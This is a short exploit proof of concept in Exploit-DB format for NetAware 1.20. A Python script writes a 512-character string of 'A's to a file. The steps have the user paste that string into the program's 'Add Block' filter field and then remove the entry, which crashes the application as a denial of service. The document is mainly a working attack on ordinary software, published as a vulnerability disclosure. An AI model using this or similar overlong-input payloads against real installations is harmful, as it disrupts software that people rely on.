NetAware 1.20 - 'Add Block' Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: NetAware 1.20 - 'Add Block' Denial of Service (PoC)
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.infiltration-systems.com
# Software: http://www.infiltration-systems.com/Files/netaware.zip
# Version: 1.20
# Tested on: Windows 7

# Proof of Concept:
# 1.- Run the python script 'NetAware.py', it will create a new file 'NetAware.txt'
# 2.- Copy the text from the generated NetAware.txt file to clipboard
# 3.- Open NetAware 
# 4.- Go to 'Settings' > 'User Blocking'
# 5.- Click 'Add Block', paste clipboard in the field 'Add a website or keyword to be filtered...' and click 'OK'
# 6.- Select the block created and click 'Remove', you will see a crash

buffer = "\x41" * 512

f = open ("NetAware.txt", "w")
f.write(buffer)
f.close()